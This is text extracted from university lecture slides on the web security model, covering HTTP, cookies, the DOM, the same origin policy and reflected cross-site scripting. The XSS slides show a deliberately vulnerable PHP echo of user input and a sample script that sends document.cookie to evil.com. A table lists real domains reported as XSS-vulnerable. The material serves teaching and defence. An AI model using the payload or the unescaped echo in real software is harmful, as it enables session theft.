14. Web Security Model
ENEE 757 | CMSC 818V

Prof. Tudor Dumitraș
Assistant Professor, ECE
University of Maryland, College Park

http://ter.ps/757
https://www.facebook.com/SDSAatUMD

Today's Lecture

• Where we’ve been
  – Authentication and access control
  – Security of Internet protocols – TCP/IP, BGP, DNS
  – Web authentication and session hijacking

• Where we’re going today
  – Web security model
  – Drive-by-download attacks

• Where we’re going next
  – SSL/TLS and the public key infrastructure
The “Curse” of Big Data – Spurious Correlations

- Vincent Granville – The Curse of Big Data
  - “When you search for patterns in very, very large data sets with billions or trillions of data points and thousands of metrics, you are bound to identify coincidences that have no predictive power.”

A Few Observations on the Project Checkpoint

- **Don’t** just show random plots and features, or reference literature without showing how it applies to the problem
- **Do** present a coherent experimental design
  - Research questions that make sense for the problem studied
  - A set of experiments to investigate these ideas
  - Results that support or refute each research question
    - **Depth is more important than breadth**
    - Discuss negative results – important to understand what doesn’t work
- **Do** explain clearly what you are doing
  - **Do** state the project goals
  - **Don’t** reference terms not defined or techniques not introduced/motivated
- We have read papers discussing threats to validity
  - Most of you have commented on these concepts in your reviews
  - **Do** apply this knowledge in your projects!
A Few Observations on the Project Checkpoint – cont’d

- **Do** present to the whole class; **don’t** present to the instructor
  - Look at the whole audience during the presentation
  - Explain your work in a manner that everyone will understand

- Think of the project checkpoint as an opportunity to receive feedback
  - Must show meaningful effort in order to decide where to go next

- Question about being on track to write a workshop paper was **not rhetorical**
  - Of course you need to investigate more until you find the approach that works best
  - You may also find a negative result: the approach you were trying to develop doesn’t work
  - However, you must show that you have explored the design space exhaustively
  - The negative result can’t be because you haven’t really tried

- Think about whether you would give yourself a passing grade, given the amount of effort you dedicated to the project

- Members of 3-person teams will not necessarily receive the same grade
  - Grades will reflect each student’s effort
Where Does the Attacker Live?

Web Threat Models

- **Web attacker**
  - User visits attacker.com
  - Attacker has no other access to user machine!
- **Network attacker**
  - Passive: wireless eavesdropper
  - Active: evil Wi-Fi router, DNS poisoning
- **Malware attacker**
  - Malicious code executes directly on victim’s computer
  - To infect victim’s computer, can exploit software bugs (e.g., buffer overflow) or convince user to install malicious content
    - Masquerade as an antivirus program, video codec, etc.
**HTTP: HyperText Transfer Protocol**

- Used to request and return data
  - Methods: GET, POST, HEAD, ...

- **Stateless** request/response protocol
  - Each request is independent of previous requests
  - Statelessness has a significant impact on design and implementation of applications

- Evolution
  - HTTP 1.0: simple
  - HTTP 1.1: more complex

---

**Website Storing Info In Browser**

A *cookie* is a file created by a website to store information in the browser

- POST login.cgi
  - username and pwd
  - HTTP Header:
    - Set-cookie: NAME=VALUE ; domain = (who can read) ; expires = (when expires) ; secure = (send only over HTTPS)

- GET restricted.html
  - Cookie: NAME=VALUE

HTTP is a stateless protocol; cookies add state *(why?)*
HTML and Scripts

```html
<html>
  ...
  <p>The script on this page adds two numbers</p>
  <script>
    var num1, num2, sum
    num1 = prompt("Enter first number")
    num2 = prompt("Enter second number")
    sum = parseInt(num1) + parseInt(num2)
    alert("Sum = " + sum)
  </script>
  ...
</html>
```

Browser receives content, displays HTML and executes scripts

JavaScript in Webpages

- Embedded in HTML as a `<script>` element
  - Written directly inside a `<script>` element
    - `<script>` alert("Hello World!") `</script>`
  - In a file linked as `src` attribute of a `<script>` element
    - `<script type="text/JavaScript" src="functions.js"></script>`

- Event handler attribute
  - `<a href="http://www.yahoo.com" onmouseover="alert('hi');">Click me</a>`

- Pseudo-­‐URL referenced by a link
  - `<a href="JavaScript: alert('You clicked');">Click me</a>`
Document Object Model (DOM)

- HTML page is structured data
- DOM is object-oriented representation of the hierarchical HTML structure
  - Properties: `document.alinkColor`, `document.URL`, `document.forms[]`, `document.links[]`, ...
  - Methods: `document.write(document.referrer)`
    - These change the content of the page!
- Also Browser Object Model (BOM)
  - Window, Document, Frames[], History, Location, Navigator (type and version of browser)

Goals of Web Security

- Safely browse the Web
  - A malicious website cannot steal information from or modify legitimate sites or otherwise harm the user...
  - ... even if visited concurrently with a legitimate site - in a separate browser window, tab, or even iframe on the same webpage

- Support secure Web applications
  - Applications delivered over the Web should have the same security properties we require for standalone applications
All of These Should Be Safe

- Safe to visit an evil website

- Safe to visit two pages at the same time

- Safe delegation

Browser Sandbox

- Goal: safely execute JavaScript code provided by a website
  - No direct file access, limited access to OS, network, browser data, content that came from other websites

- Same origin policy
  - Can only access properties of documents and windows from the same domain, protocol, and port
Same Origin Policy

Same Origin Policy (SOP) for DOM:

Origin A can access origin B’s DOM if A and B have same
(protocol, domain, port)

Same Origin Policy (SOP) for cookies:

Generally, based on
([protocol], domain, path)

optional

Cookie Identification

Cookies are identified by (name, domain, path)

cookie 1
name = userid
value = test
domain = login.site.com
path = /secure

cookie 2
name = userid
value = test123
domain = .site.com
path = /secure

distinct cookies

Both cookies stored in browser’s cookie jar,
both are in scope of login.site.com
domain: any domain suffix of URL-hostname, except top-level domain (TLD)

Which cookies can be set by login.site.com?

<table>
<thead>
<tr>
<th>allowed domains</th>
<th>disallowed domains</th>
</tr>
</thead>
<tbody>
<tr>
<td>login.site.com</td>
<td>user.site.com</td>
</tr>
<tr>
<td>.site.com</td>
<td>othersite.com</td>
</tr>
<tr>
<td>.com</td>
<td></td>
</tr>
</tbody>
</table>

login.site.com can set cookies for all of .site.com but not for another site or TLD

Problematic for sites like .umd.edu

path: anything

---

SOP for Sending Cookies

Browser sends all cookies in URL scope:

- cookie-domain is domain-suffix of URL-domain
- cookie-path is prefix of URL-path
- protocol=HTTPS if cookie is “secure”

Goal: server only sees cookies in its scope
Examples of Cookie SOP

<table>
<thead>
<tr>
<th>Cookie 1</th>
<th>Cookie 2</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>name</strong> = <em>userid</em></td>
<td><strong>name</strong> = <em>userid</em></td>
</tr>
<tr>
<td><strong>value</strong> = <em>u1</em></td>
<td><strong>value</strong> = <em>u2</em></td>
</tr>
<tr>
<td><strong>domain</strong> = <em>login.site.com</em></td>
<td><strong>domain</strong> = <em>.site.com</em></td>
</tr>
<tr>
<td><strong>path</strong> = /</td>
<td><strong>path</strong> = /</td>
</tr>
</tbody>
</table>

*Secure* vs *non-secure*

Both set by *login.site.com*

- http://checkout.site.com/
- http://login.site.com/
- https://login.site.com/

Browser Security Policy for Frames

- Frames: delegate screen area to content from another source
- Each frame of a page has an origin
  - Origin = protocol://domain:port
- Isolation: frame can access objects from its own origin
  - Network access, read/write DOM, cookies and localStorage
- Frame cannot access objects associated with other origins
**Threat: Echoing / Reflecting User Input**

Classic mistake in server-side applications

http://naive.com/search.php?term="Britney Spears"

search.php responds with

```html
<html> <title>Search results</title> <body>You have searched for <?php echo $_GET['term']; ?>... </body>
</html>
```

On

GET/ hello.cgi?name=Bob

hello.cgi responds with

```html
<html>Welcome, dear Bob</html>
```

---

**Cross-Site Scripting (XSS)**

Access some web page

```html
```

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

GET/ steal.cgi?cookie=

```html
<?HTML>Hello, dear <script>win.open("http://evil.com/steal.cgi?cookie="+document.cookie);
Welcome</script></HTML>
```

Interpreted as JavaScript by victim’s browser, opens window and calls steal.cgi on evil.com

---

Why does the browser allow this?

How about this one?

What is the ORIGIN of this script?
**Reflected XSS**

- User is tricked into visiting an honest website
  - Phishing email, link in a banner ad, comment in a blog

- Bug in website code causes it to echo to the user’s browser an **arbitrary attack script**
  - The origin of this script is now the website itself!

- Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  - This violates the “spirit” of the same origin policy

**Basic Pattern for Reflected XSS**

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data
XSS in the Wild
http://xssed.com/archive

<table>
<thead>
<tr>
<th>Date</th>
<th>Author</th>
<th>Domain</th>
<th>R</th>
<th>S</th>
<th>F</th>
<th>PR</th>
<th>Category</th>
<th>Mirror</th>
</tr>
</thead>
<tbody>
<tr>
<td>07/09/14</td>
<td>RIHE</td>
<td>m.hoesing.com</td>
<td>✓</td>
<td></td>
<td>X</td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>29/04/14</td>
<td>danny</td>
<td><a href="http://www.bnikaij/ia.at">www.bnikaij/ia.at</a></td>
<td>✓</td>
<td></td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>29/04/14</td>
<td>CyberBijon</td>
<td>nc31.chiyanehcout.com</td>
<td></td>
<td>✓</td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>29/04/14</td>
<td>Jamaico</td>
<td>will气象.fsv.com</td>
<td></td>
<td>X</td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>rleeleDe</td>
<td>stampe.aerosnita-diffuse.it</td>
<td>✓</td>
<td></td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>Anonymous2Mind</td>
<td>oraily.com</td>
<td>✓</td>
<td></td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>Souhail</td>
<td>webinar.xsa.samsung.com</td>
<td></td>
<td>✓</td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>Aashit Mittal</td>
<td>xfinity.concast.net</td>
<td></td>
<td></td>
<td>✓</td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>BIIHaX</td>
<td>radio.fchenow.com</td>
<td>✓</td>
<td></td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>The Palyh31</td>
<td>locatie.apple.com</td>
<td></td>
<td>X</td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>Zargar Yazir</td>
<td>receptione.stanford.edu</td>
<td></td>
<td></td>
<td>X</td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>Jamaico</td>
<td>byinvitationonlyphotos.americanexpress.com</td>
<td>X</td>
<td></td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>Jamaico</td>
<td><a href="http://www.diction.philpe.com">www.diction.philpe.com</a></td>
<td></td>
<td>X</td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>Jamaico</td>
<td>services.aol.com</td>
<td></td>
<td>X</td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>28/04/14</td>
<td>Jamaico</td>
<td>recruitaient.disney.com</td>
<td>✓</td>
<td></td>
<td></td>
<td>X</td>
<td>XSS</td>
<td>mirror</td>
</tr>
</tbody>
</table>

Defenses Against XSS

Source: Open Web Application Security Project

- Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields against a rigorous specification of what should be allowed.

- Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.

- We strongly recommend a “positive” security policy that specifies what is allowed. “Negative” or attack signature based policies are difficult to maintain and are likely to be incomplete.
Sources

- Various slides from Vitaly Shmatikov

Review of Lecture

- What did we learn?
  - HTTP, HTML, Javascript
  - iframes, DOM
  - Same origin policy

- Paper discussion: “All Your iFRAMES Point to Us”
  - Discussion lead: John
  - Scribe: Octavian

- What’s next?
  - SSL/TLS and the public key infrastructure